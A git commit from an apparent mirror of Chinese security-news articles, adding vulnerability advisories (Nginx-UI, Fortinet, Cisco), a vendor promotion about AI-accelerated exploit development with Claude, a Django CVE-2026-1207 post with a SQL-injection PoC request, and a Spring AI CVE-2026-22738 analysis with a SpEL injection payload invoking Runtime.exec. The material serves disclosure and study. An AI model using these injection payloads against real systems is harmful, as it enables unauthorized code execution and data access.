mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
CVE-2026-33032｜Nginx-UI高危漏洞，MCP端点未做身份验证，攻击者可直接远程接管！、漏洞预警 | LEAN MES系统文件上传漏洞、RAG从元数据Key到RCE：CVE-2026-22738 深度解析Spring AI向量存储中的SpEL表达式注入与逃逸、漏洞预警 | Vim代码执行漏洞、苹果用户注意！及时更新iOS特定版本 防范漏洞攻击利用风险、CVE-2026-35616：Fortinet修复被积极利用的高严重性漏洞、零基础到实战：Java 代码审计从入门到独立挖掘高价值漏洞、AI攻防博弈进入“奇点”时刻｜Claude4小时攻击警示：漏洞攻防必须AI原生化、Cisco修复关键和高严重性漏洞、CVE-2026-1207｜Django SQL注入漏洞（POC）、攻击者利用RCE漏洞，14,000台F5 BIG-IP APM实例仍暴露在线、
This commit is contained in:
test committed
1 parent
1d6818db9b
commit
f45209dc8a
12 files changed
+1030
-10
No files matched your search
@@ -19628,5 +19628,16 @@
|
||||
"https://mp.weixin.qq.com/s/hhvbv9yEs72Xk6ZgZojkHw": "OpenSSH 10.3 发布，修复 Shell 注入及其他安全漏洞",
|
||||
"https://mp.weixin.qq.com/s/u6ILXE87wjp1d1Kbj0Oo8Q": "今日（2026年4月6日）热点网络安全漏洞动态",
|
||||
"https://mp.weixin.qq.com/s/2_iivzfMZppd9n-9r8JyoQ": "FortiClient EMS 重大零日漏洞已被在野利用",
|
||||
"https://mp.weixin.qq.com/s/rULYChYHUKd8TZJW8nBFfQ": "CVE-2026-24291-Windows权限提升漏洞“RegPwn”复现分析"
|
||||
"https://mp.weixin.qq.com/s/rULYChYHUKd8TZJW8nBFfQ": "CVE-2026-24291-Windows权限提升漏洞“RegPwn”复现分析",
|
||||
"https://mp.weixin.qq.com/s/z34baGGKsZvnqRf15NEAWw": "CVE-2026-33032｜Nginx-UI高危漏洞，MCP端点未做身份验证，攻击者可直接远程接管！",
|
||||
"https://mp.weixin.qq.com/s/qjYH83QoPZZ78b0bMBX-7A": "漏洞预警 | LEAN MES系统文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s/Jwsz4e0aRIfTV13MEjXqXA": "RAG从元数据Key到RCE：CVE-2026-22738 深度解析Spring AI向量存储中的SpEL表达式注入与逃逸",
|
||||
"https://mp.weixin.qq.com/s/ONVBz36WILWupIL-pLS-ow": "漏洞预警 | Vim代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s/y9dVYQfxTVWVaeN8-jzfcw": "苹果用户注意！及时更新iOS特定版本 防范漏洞攻击利用风险",
|
||||
"https://mp.weixin.qq.com/s/aHbNtj0vL69vvODLitUwHA": "CVE-2026-35616：Fortinet修复被积极利用的高严重性漏洞",
|
||||
"https://mp.weixin.qq.com/s/27zoS0yf3b5P2xcjY7ZgjQ": "零基础到实战：Java 代码审计从入门到独立挖掘高价值漏洞",
|
||||
"https://mp.weixin.qq.com/s/QtqNTuAU0IEXTmM13jFZeQ": "AI攻防博弈进入“奇点”时刻｜Claude4小时攻击警示：漏洞攻防必须AI原生化",
|
||||
"https://mp.weixin.qq.com/s/rjJwKq3qcgxmtzW1dzVGsw": "Cisco修复关键和高严重性漏洞",
|
||||
"https://mp.weixin.qq.com/s/mrdpoDQFZFsaBLzJ3eLUUA": "CVE-2026-1207｜Django SQL注入漏洞（POC）",
|
||||
"https://mp.weixin.qq.com/s/3mHXT8nMT3JmsoetyTcl5w": "攻击者利用RCE漏洞，14,000台F5 BIG-IP APM实例仍暴露在线"
|
||||
}
|
||||
@@ -0,0 +1,281 @@
|
||||
# AI攻防博弈进入“奇点”时刻｜Claude4小时攻击警示：漏洞攻防必须AI原生化
|
||||
安恒信息 2026-04-07 00:49
|
||||
|
||||
|
||||
![]( "")
|
||||
![]( "")
|
||||
![]( "")
|
||||
![]( "")
|
||||
![]( "")
|
||||
![]( "")
|
||||
![]( "")
|
||||
![]( "")
|
||||
|
||||
最近，围绕FreeBSD内核零日漏洞的一则消息在安全圈持续发酵。
|
||||
|
||||
|
||||
根据公开披露信息，研究人员借助Claude，在8小时内完成了针对FreeBSD相关漏洞的利用开发，其中
|
||||
AI工作时间仅4小时，还提供了两种不同策略的exploit，而且
|
||||
“第一次就跑通”。
|
||||
|
||||
|
||||
|
||||
|
||||
（https://blog.calif.io/p/mad-bugs-claude-wrote-a-full-freebsd
|
||||
）
|
||||
|
||||
|
||||
恒脑AI代码审计智能体已成功复现该漏洞
|
||||
|
||||
|
||||
|
||||
|
||||
复制回放链接粘贴至浏览器收看：
|
||||
|
||||
https://vlf.das-ai.com/assistance?share=b9e2caa6e2374302b1e7fe80d694f677
|
||||
|
||||
|
||||
|
||||
|
||||
一则热点背后
|
||||
|
||||
是AI攻防升级的时代信号
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Claude参与CVE-2026-4747 exploit开发这件事，之所以会引发行业高度关注，是因为它不再只是“AI帮忙写点代码”这么简单。它意味着，大模型已经开始在漏洞理解、利用思路形成、路径分析和执行推进中，扮演越来越实质性的角色。
|
||||
|
||||
|
||||
这会带来三个变化。
|
||||
|
||||
|
||||
第一，漏洞武器化速度显著提升。过去，从漏洞信息公开到实际可利用，通常需要研究人员投入较强的分析能力和较长时间。现在，AI 正在把这个过程变得更快。
|
||||
|
||||
|
||||
第二，攻击能力门槛被进一步拉低。并不是说所有人都能立刻成为高水平漏洞研究员，而是 AI 正在帮助更多人跨过一部分原本较高的理解门槛。
|
||||
|
||||
|
||||
第三，攻防节奏开始失衡。攻击侧在借助 AI 放大效率，而很多企业的防守体系，仍然停留在传统规则工具、人工抽检和阶段性测试的节奏里。
|
||||
|
||||
一旦漏洞研究、代码理解、攻击脚本生成、路径推演这些工作被显著提速，原本以“天”为单位甚至以“周”为单位计算的武器化过程，就可能被压缩到
|
||||
“小时级”。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
(https://abc17news.com/money/cnn-business-consumer/2026/04/03/anthropics-next-model-could-be-a-watershed-moment-for-cybersecurity-experts-say-that-could-also-be-a-concern/)
|
||||
|
||||
|
||||
|
||||
|
||||
AI攻防博弈升级后
|
||||
|
||||
企业最缺的是什么
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
面对AI攻防博弈升级，很多企业的第一反应仍然是加大已有安全工具的使用力度。但问题在于，传统工具的能力边界，本身就决定了它们很难独立应对AI加速之后的复杂风险。企业缺的并不是更多零散的工具，而是三种能力：
|
||||
|
||||
|
||||
第一，持续理解风险的能力。面对越来越复杂的代码、越来越频繁的发布、越来越长的调用链路，企业不能只依赖静态规则去识别风险，还需要能够理解代码语义、业务逻辑和系统上下文的能力。
|
||||
|
||||
|
||||
第二，快速形成处置闭环的能力。发现漏洞只是开始。如果安全团队发现了问题，但研发团队无法快速理解根因、定位影响范围、拿到清晰的修复建议，那么真正的风险窗口并不会缩短。
|
||||
|
||||
|
||||
第三，把防御前移到研发过程中的能力。当攻击武器化被压缩到小时级，很多问题已经不能等到上线前或出事后再处理。防御必须更早介入代码生产流程，在漏洞进入生产环境之前完成识别和治理。
|
||||
|
||||
|
||||
而这三种能力，恰恰都是传统安全体系里最容易薄弱的地方。
|
||||
|
||||
|
||||
AI 加速攻击的时代，传统割裂式安全防御能力链条会越来越吃力，
|
||||
企业安全负责人必须直面新的拷问：
|
||||
面对AI原生的攻击能力，企业是否已经拥有AI原生的防御能力？
|
||||
|
||||
|
||||
|
||||
从热点信号，到真实防御能力
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
面对正在到来的 AI 攻防时代，防御体系必须前移，安全能力必须原生化。
|
||||
“以AI治理AI”，从一句判断，变成企业代码安全建设的新底线。
|
||||
|
||||
|
||||
Claude让市场看到AI可以更快理解漏洞，而安恒已经在零日漏洞挖掘、真实漏洞复现、供应链投毒分析、修复建议生成和防护策略验证中，把这种能力落到了
|
||||
企业防御场景。
|
||||
|
||||
|
||||
以
|
||||
Linux内核NFSv4服务端（nfsd）高危远程堆缓冲区溢出漏洞为例，这类问题即便漏洞描述已经较为详细，传统代码审计仍然常常受制于项目规模庞大、调用链复杂、逻辑嵌套深、触发条件苛刻等因素影响，完整复现往往需要 1至2天，后续修复建议和扫描策略落地还会进一步滞后。而在这一案例中，
|
||||
恒脑AI代码审计智能体仅用40分钟便完成漏洞复现，并进一步输出根因分析、修复建议和防护规则等结果。
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650647688&idx=1&sn=76679243cd0d347eb5fdd1178167d9f4&scene=21#wechat_redirect)
|
||||
|
||||
[安恒恒脑AI代码审计智能体快速复现Anthropic Mythos在3月29日发现的Linux底层漏洞](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650647688&idx=1&sn=76679243cd0d347eb5fdd1178167d9f4&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
此外，针对供应链安全，恒脑表现同样出色。在
|
||||
LiteLLM 1.82.8投毒事件中，
|
||||
恒脑AI代码审计智能体仅用10分钟即完成漏洞精准复现，并在6分钟内进一步完成漏洞分析、防护建议与策略验证。这意味着，面对传统工具容易漏检、人工分析又较为耗时的供应链投毒问题，AI原生安全能力已经可以把“发现问题”推进到“快速理解问题并形成防御动作”。
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650647601&idx=1&sn=a809abd22cfd16c464ff5bf2c5c27d6e&scene=21#wechat_redirect)
|
||||
|
||||
[恒脑10分钟复现|LiteLLM遭PyPL投毒，全网大模型凭证陷裸奔危机](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650647601&idx=1&sn=a809abd22cfd16c464ff5bf2c5c27d6e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
恒脑AI原生代码审计智能体，并不只停留在传统代码审计意义上的“找缺陷”，而是
|
||||
真正参与企业全生命周期安全治理。
|
||||
看得更深、响应更快、闭环更完整，帮助企业建立从发现、分析、修复到加固的AI原生安全能力体系。
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650646593&idx=1&sn=35715dd40bc0b9e5452e531ab2975a0f&scene=21#wechat_redirect)
|
||||
|
||||
[恒脑安全智能体全面对标Claude Code Security，极速复现3个0day，并横向挖掘10个未知漏洞！](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650646593&idx=1&sn=35715dd40bc0b9e5452e531ab2975a0f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
当Claude成为信号
|
||||
|
||||
企业该如何重建防御能力？
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Claude相关事件之所以值得反复讨论，不是因为它制造了一次新的技术神话，而是因为它给整个行业发出了一个非常清晰的信号：AI 已经开始深度介入攻防博弈。
|
||||
|
||||
|
||||
这意味着，企业安全体系不能再停留在过去的节奏里。面对已经被 AI 放大的攻击能力，防御也必须完成升级。
|
||||
|
||||
|
||||
企业安全负责人必须思考的是：
|
||||
- 当攻击者开始使用AI提升漏洞理解和利用速度时，我们的防御体系是否仍然停留在旧时代的节奏里；
|
||||
|
||||
- 当漏洞武器化周期不断被压缩时，我们是否还在依赖低频、离散、人工堆积式的审计模式；
|
||||
|
||||
- 当研发节奏越来越快、代码规模越来越大时，我们是否已经拥有能够持续嵌入研发流程的 AI 原生安全能力。
|
||||
|
||||
|
||||
|
||||
如果您也有上述疑问，或正在重新评估代码安全体系，欢迎试用恒脑AI代码审计智能体，让您体验
|
||||
真正面向防御场景、能够理解代码、发现逻辑漏洞、并推动修复闭环的AI原生代码审计能力。
|
||||
|
||||
立即扫码，申请试用
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**点点赞**
|
||||
|
||||
|
||||
|
||||
**点分享**
|
||||
|
||||
|
||||
|
||||
**点喜欢**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
点击下方名片立即关注
|
||||
|
||||
不走丢哦！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
**往期**
|
||||
**精彩****回顾**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[恒脑荣获CSA磐石奖，范渊荣膺CSA GCR Fellow并分享“AI+安全，跨代开启”前瞻观点](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650647840&idx=1&sn=a3e5305d2426fdedea09928ee50bf0fd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
2026-04-06
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650647840&idx=1&sn=a3e5305d2426fdedea09928ee50bf0fd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[2026生态伙伴大会|安恒信息全新生态战略与政策体系重磅发布](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650647808&idx=1&sn=a96fc6349643ff80a7b6af70eabd20f5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
2026-04-03
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650647808&idx=1&sn=a96fc6349643ff80a7b6af70eabd20f5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[安恒信息参与联合起草《数据 基础术语》国家标准，承办专题研讨会](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650647793&idx=1&sn=33966c80000ba3a9da21062427d53767&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
2026-04-02
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NTE0MjQyMg==&mid=2650647793&idx=1&sn=33966c80000ba3a9da21062427d53767&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
法律声明
|
||||
|
||||
本文数据均来自内部统计、媒体报道、公开信息整理等，仅供信息分享，可能存在统计口径差异或误差，敬请理性看待，我们不对其准确性承担责任。
|
||||
股市有风险，投资需谨慎。阅读者在作出任何投资决定之前，应当咨询各自的顾问。本公众号发布内容仅代表内容创作视角，不构成任何投资建议或投资依据。在任何情况下，本公众号及运营主体不对任何人的投资结果承担法律责任。
|
||||
本公众号原创内容，欢迎合法合规复制、转载，转载时请务必注明出处，不得断章取义、以偏概全或进行有悖原意的引用。
|
||||
|
||||
@@ -0,0 +1,88 @@
|
||||
# CVE-2026-1207｜Django SQL注入漏洞（POC）
|
||||
alicy
|
||||
alicy 信安百科 2026-04-07 01:15
|
||||
|
||||
**0x00 前言**
|
||||
|
||||
|
||||
Django是一款由Python编写的开源Web应用框架，诞生于新闻网站的快速开发需求，遵循DRY（不重复造轮子）和“约定优于配置”原则，以MTV（模型-模板-视图）架构实现组件解耦。它提供全栈式开发工具，内置ORM让开发者用Python类操作数据库，无需编写SQL；自动生成的Admin后台可快速实现数据的增删改查；灵活的URL路由系统支持正则表达式匹配；模板引擎支持逻辑渲染与前后端分离；还集成了用户认证、表单验证、缓存机制等核心功能，同时内置SQL注入、XSS、CSRF等常见Web攻击防护。
|
||||
|
||||
|
||||
凭借“开箱即用”的特性，Django能高效支撑内容管理系统、社交平台、电商网站、API后端等中大型项目，拥有活跃的社区生态和丰富的第三方扩展库，是Python Web开发领域的主流框架之一。
|
||||
|
||||
|
||||
|
||||
**0x01 漏洞描述**
|
||||
|
||||
|
||||
在RasterField上执行的Raster lookups（仅在PostGIS上实现）允许远程攻击者通过带索引参数注入SQL。
|
||||
|
||||
|
||||
|
||||
**0x02 CVE编号**
|
||||
|
||||
##### CVE-2026-1207
|
||||
|
||||
|
||||
|
||||
**0x03 影响版本**
|
||||
|
||||
|
||||
6.0之前的版本至6.0.2
|
||||
|
||||
5.2之前的版本至5.2.11
|
||||
|
||||
4.2之前的版本至4.2.28
|
||||
|
||||
|
||||
|
||||
**0x04 漏洞详情**
|
||||
|
||||
|
||||
POC：
|
||||
```
|
||||
GET /?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)%20-- HTTP/1.1
|
||||
Host: {{target}}
|
||||
```
|
||||
|
||||
|
||||
|
||||
**0x05 参考链接**
|
||||
|
||||
|
||||
https://docs.djangoproject.com/en/dev/releases/security/
|
||||
|
||||
|
||||
https://www.djangoproject.com/weblog/2026/feb/03/security-releases/
|
||||
|
||||
|
||||
|
||||
|
||||
推荐阅读：
|
||||
|
||||
|
||||
[CVE-2025-64459｜Django SQL注入漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486231&idx=1&sn=80053c22d550580473eeef4e7d207a0d&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2026-21509｜Microsoft Office安全功能绕过漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486337&idx=1&sn=cd3a7b74a6a99db89f4111cc53e8c260&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2025-52691｜SmarterMail 未授权文件上传漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486275&idx=1&sn=b3eda104a3c7f41dca6faf1240b95f8a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Ps：国内外安全热点分享，欢迎大家分享、转载，请保证文章的完整性。文章中出现敏感信息和侵权内容，请联系作者删除信息。信息安全任重道远，感谢您的支持
|
||||
|
||||
|
||||
！！！
|
||||
|
||||
|
||||
**本公众号的文章及工具仅提供学习参考，由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用者本人负责,本公众号及文章作者不为此承担任何责任。**
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
# CVE-2026-33032｜Nginx-UI高危漏洞，MCP端点未做身份验证，攻击者可直接远程接管！
|
||||
alicy
|
||||
alicy 信安百科 2026-04-07 01:15
|
||||
|
||||
**0x00 前言**
|
||||
|
||||
|
||||
Nginx-UI是一款开源的Nginx图形化管理工具，通过网页界面替代命令行操作，支持站点配置、反向代理设置、HTTPS证书一键申请与自动续期，还能实时监控服务器状态、在线查看日志，大幅降低Nginx运维门槛，适合各类用户快速管理单台或多台Nginx服务器。
|
||||
|
||||
|
||||
MCP（Model Context Protocol）是Nginx UI提供的一个特殊接口，允许AI代理与Nginx UI交互。通过MCP，AI模型可以访问和管理Nginx配置文件、执行Nginx相关操作（如重启、重载）以及获取Nginx运行状态。
|
||||
|
||||
|
||||
|
||||
**0x01 漏洞描述**
|
||||
|
||||
|
||||
MCP（Model Context Protocol）集成模块在暴露/mcp_message接口时，仅应用了IP白名单中间件而缺少身份验证。由于默认IP白名单为空，中间件会将其解析为“允许所有”，导致鉴权逻辑完全失效。
|
||||
|
||||
|
||||
远程攻击者无需任何权限即可通过该接口调用所有MCP工具，执行重启 Nginx、修改或删除Nginx配置文件等操作，从而实现对Nginx服务的完整接管。
|
||||
|
||||
|
||||
|
||||
**0x02 CVE编号**
|
||||
|
||||
|
||||
CVE-2026-33032
|
||||
|
||||
|
||||
|
||||
**0x03 影响版本**
|
||||
|
||||
|
||||
所有版本
|
||||
|
||||
|
||||
|
||||
**0x04 漏洞详情**
|
||||
|
||||
|
||||
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf
|
||||
|
||||
|
||||
|
||||
**0x05 参考链接**
|
||||
|
||||
|
||||
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-h6c2-x2m2-mwhf
|
||||
|
||||
|
||||
|
||||
|
||||
推荐阅读：
|
||||
|
||||
|
||||
[CVE-2026-20963｜Microsoft SharePoint远程代码执行漏洞](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486415&idx=1&sn=626a47eb1fbbab3eda6416c27f03c797&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2026-22733｜Spring Boot存在认证绕过漏洞](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486396&idx=1&sn=37218fb2190262217288e5eb48a3a796&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[CVE-2026-31938｜jsPDF存在HTML注入漏洞（POC）](https://mp.weixin.qq.com/s?__biz=Mzg2ODcxMjYzMA==&mid=2247486361&idx=2&sn=9bc7bea2a5d7b53f1174aa5b4f99fec5&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Ps：国内外安全热点分享，欢迎大家分享、转载，请保证文章的完整性。文章中出现敏感信息和侵权内容，请联系作者删除信息。信息安全任重道远，感谢您的支持
|
||||
|
||||
|
||||
！！！
|
||||
|
||||
|
||||
**本公众号的文章及工具仅提供学习参考，由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害，均由使用者本人负责,本公众号及文章作者不为此承担任何责任。**
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
# CVE-2026-35616：Fortinet修复被积极利用的高严重性漏洞
|
||||
鹏鹏同学
|
||||
鹏鹏同学 黑猫安全 2026-04-07 01:11
|
||||
|
||||
|
||||
|
||||
|
||||
Fortinet发布了关键FortiClient EMS漏洞的带外补丁，该漏洞编号为CVE-2026-35616（CVSS 9.1），已在野外攻击中被积极利用。该漏洞是一个不当访问控制问题，允许攻击者通过API绕过身份验证并提升权限，对受影响系统构成严重风险。
|
||||
|
||||
Fortinet发布的公告称：FortiClient EMS中的不当访问控制漏洞[CWE-284]可能允许未经身份验证的攻击者通过精心构造的请求执行未经授权的代码或命令。Fortinet已观察到该漏洞在野外被利用，并敦促易受攻击的客户安装FortiClient EMS 7.4.5和7.4.6的热修复程序。
|
||||
|
||||
Fortinet确认该漏洞被积极利用，并敦促FortiClient EMS 7.4.5和7.4.6用户安装可用的热修复程序。永久修复也将包含在7.4.7版本中。
|
||||
|
||||
Fortinet感谢Defused的Simo Kohonen和Nguyen Duc Anh在观察到该漏洞作为零日被积极利用后负责任地披露了此漏洞。
|
||||
|
||||
最近，Defused研究人员警告威胁行为者正在利用Fortinet FortiClient EMS平台中的漏洞CVE-2026-21643（CVSS评分9.1）。
|
||||
|
||||
|
||||
@@ -0,0 +1,18 @@
|
||||
# Cisco修复关键和高严重性漏洞
|
||||
鹏鹏同学
|
||||
鹏鹏同学 黑猫安全 2026-04-07 01:11
|
||||
|
||||
|
||||
|
||||
|
||||
**Cisco发布了两个关键和六个高严重性漏洞的补丁。这些漏洞可能让攻击者绕过身份验证、执行恶意代码、提升权限并访问敏感信息。**
|
||||
|
||||
其中一个关键漏洞是CVE-2026-20093（CVSS评分9.8），这是Cisco IMC中的一个漏洞，允许远程攻击者通过精心构造的HTTP请求绕过身份验证。攻击者可以更改用户密码（包括管理员）并获得完整的系统访问权限。
|
||||
|
||||
Cisco集成管理控制器（IMC）是Cisco服务器上使用的内置管理系统。IMC允许管理员远程控制和监控服务器，即使操作系统关闭或不工作。
|
||||
|
||||
Cisco还修补了SSM On-Prem中的一个关键漏洞，编号为CVE-2026-20160（CVSS评分9.8），该漏洞允许未经身份验证的攻击者通过精心构造的API请求以root权限在主机操作系统上运行命令。
|
||||
|
||||
Cisco的PSIRT不知道这些漏洞有利用或概念验证代码，但这家网络巨头强烈建议客户更新到已修补的软件。
|
||||
|
||||
|
||||
@@ -0,0 +1,185 @@
|
||||
# RAG从元数据Key到RCE：CVE-2026-22738 深度解析Spring AI向量存储中的SpEL表达式注入与逃逸
|
||||
原创 KCyber
|
||||
KCyber 自在安全 2026-04-06 23:02
|
||||
|
||||
欢迎大家关注自在安全公众号。为更好学习交流，建了个技术交流群，大家可以扫描进群。你也可以关注公众号后@我拉你进群。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 引言
|
||||
|
||||
近日 Spring
|
||||
官方发布安全通告，披露了 Spring AI
|
||||
框架存在一处高危的 SpEL
|
||||
表达式注入漏洞 (CVE-2026-22738
|
||||
) 。漏洞源于 SimpleVectorStore
|
||||
实现向量检索过滤的逻辑中，将用户提供的过滤器表达式拼接到了 SpEL
|
||||
模板中，并使用 StandardEvaluationContext
|
||||
进行解析，导致可构造恶意 payload
|
||||
实现 RCE
|
||||
。
|
||||
|
||||
官方通报中提到了漏洞利用的前提条件：
|
||||
> In Spring AI, a SpEL injection vulnerability exists in SimpleVectorStore when a user-supplied value is used as a filter expression key. A malicious actor could exploit this to execute arbitrary code.
|
||||
|
||||
|
||||
影响版本：
|
||||
- • 1.0.x < 1.0.5
|
||||
|
||||
- • 1.1.x < 1.1.4
|
||||
|
||||
## 漏洞分析
|
||||
|
||||
SimpleVectorStore
|
||||
是 Spring AI
|
||||
提供的一个简单的内存向量数据库实现，它允许用户定义类似 SQL
|
||||
的过滤条件。具体使用案例可以参考：
|
||||
|
||||
https://www.infoworld.com/article/4091447/spring-ai-tutorial-get-started-with-spring-ai.html
|
||||
### SpEL表达式注入
|
||||
|
||||
漏洞触发点位于 SimpleVectorStore#doFilterPredicate
|
||||
。该函数会将过滤条件直接通过 StandardEvaluationContext
|
||||
函数进行解析，存在 SpEL
|
||||
表达式注入风险：
|
||||
|
||||
|
||||
|
||||
搜索 doFilterPredicate
|
||||
被调用的点，可以找到 similaritySearch
|
||||
函数：
|
||||
```
|
||||
SimpleVectorStore.doFilterPredicate(SearchRequest) SimpleVectorStore.doSimilaritySearch(SearchRequest) AbstractObservationVectorStore.similaritySearch(SearchRequest)
|
||||
```
|
||||
|
||||
similaritySearch
|
||||
函数会使用向量数据库的嵌入模型，将查询的问题转换为多维向量。一个典型的 RAG
|
||||
查询 demo
|
||||
如下：
|
||||
```
|
||||
@PostMapping("/query")public ResponseEntity<SimpleQueryResponse> simpleQuery(@RequestBody SimpleQuery simpleQuery) { String result = ragService.query(simpleQuery);...public String query(SimpleQuery sr) { Filter.Expression maliciousExpr = new Filter.Expression( Filter.ExpressionType.EQ, new Filter.Key(sr.getFilterExpression()), new Filter.Value("anything") ); SearchRequest searchRequest = SearchRequest.builder() .query(sr.getQuery()) .topK(sr.getTopK()) .similarityThreshold(sr.getSimilarityThreshold()) .filterExpression(maliciousExpr) .build(); List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);
|
||||
```
|
||||
### Bypass FilterExpressionTextParser
|
||||
|
||||
为了进入 StandardEvaluationContext
|
||||
处理逻辑，传递过来的 filterExpression
|
||||
需要非空，格式如下：
|
||||
```
|
||||
/** * Triple that represents and filter boolean expression as * <code>left type right</code>. * * @param type Specify the expression type. * @param left For comparison and inclusion expression types, the operand must be of * type {@link Key} and for the AND|OR expression types the left operand must be * another {@link Expression}. * @param right For comparison and inclusion expression types, the operand must be of * type {@link Value} or array of values. For the AND|OR type the right operand must * be another {@link Expression}. */public record Expression(ExpressionType type, Operand left, Operand right) implements Operand { public Expression(ExpressionType type, Operand operand) { this(type, operand, null); }}
|
||||
```
|
||||
|
||||
filterExpression
|
||||
对象由 Key
|
||||
、Type
|
||||
和 Value
|
||||
组成。同时注意存在 FilterExpressionTextParser
|
||||
过滤检查：
|
||||
|
||||
|
||||
|
||||
convertExpression
|
||||
将 filter.Expression
|
||||
AST
|
||||
递归遍历，其中 doKey
|
||||
将 Key
|
||||
无任何转义拼接到 #metadata
|
||||
模板：
|
||||
|
||||
|
||||
|
||||
doValue
|
||||
通过 emitSpelString
|
||||
对 Value
|
||||
中单引号、反斜杠等进行了转义，并且格式化为了日期格式：
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Value
|
||||
难以直接利用，但可以将 SpEL
|
||||
载荷放到 Key
|
||||
中来完成注入，这与官方通报的漏洞描述一致。构造如下请求可以触发 RCE
|
||||
：
|
||||
```
|
||||
'] + T(java.lang.Runtime).getRuntime().exec(new String[]{'calc'}) + #metadata['x
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
### Bypass FilterExpressionTextParser
|
||||
|
||||
此外，filterExpression
|
||||
还支持纯字符串进行实例化：
|
||||
```
|
||||
public Builder filterExpression(@Nullable String textExpression) { this.searchRequest.filterExpression = (textExpression != null) ? new FilterExpressionTextParser().parse(textExpression) : null; return this;}
|
||||
```
|
||||
|
||||
但是如果使用字符串形式的过滤器，Spring AI
|
||||
会调用 FilterExpressionTextParser
|
||||
进行格式处理。这里存在空值检查，并会自动加入 WHERE
|
||||
前缀，更关键还会进行 ANTLR4
|
||||
校验：
|
||||
|
||||
|
||||
|
||||
修改 demo
|
||||
如下：
|
||||
```
|
||||
@PostMapping("/query")public ResponseEntity<SimpleQueryResponse> simpleQuery(@RequestBody SimpleQuery simpleQuery) { String result = ragService.query(simpleQuery);...public String query(SimpleQuery sr) { // Filter.Expression maliciousExpr = new Filter.Expression( // Filter.ExpressionType.EQ, // new Filter.Key(sr.getFilterExpression()), // new Filter.Value("anything") // ); SearchRequest searchRequest = SearchRequest.builder() .query(sr.getQuery()) .topK(sr.getTopK()) .similarityThreshold(sr.getSimilarityThreshold()) .filterExpression(sr.getFilterExpression()) //字符串实例化 .build(); List<Document> similarDocuments = vectorStore.similaritySearch(searchRequest);
|
||||
```
|
||||
|
||||
常规的 SpEL
|
||||
利用方式不符合语法规范会被拦截。可以在最外层包裹双引号将 SpEL
|
||||
改造成合法的 Key
|
||||
。
|
||||
- • FilterExpressionTextParser
|
||||
将双引号内的字符串作为 Key
|
||||
，符合语法校验；
|
||||
|
||||
- • SimpleVectorStore
|
||||
处理 AST
|
||||
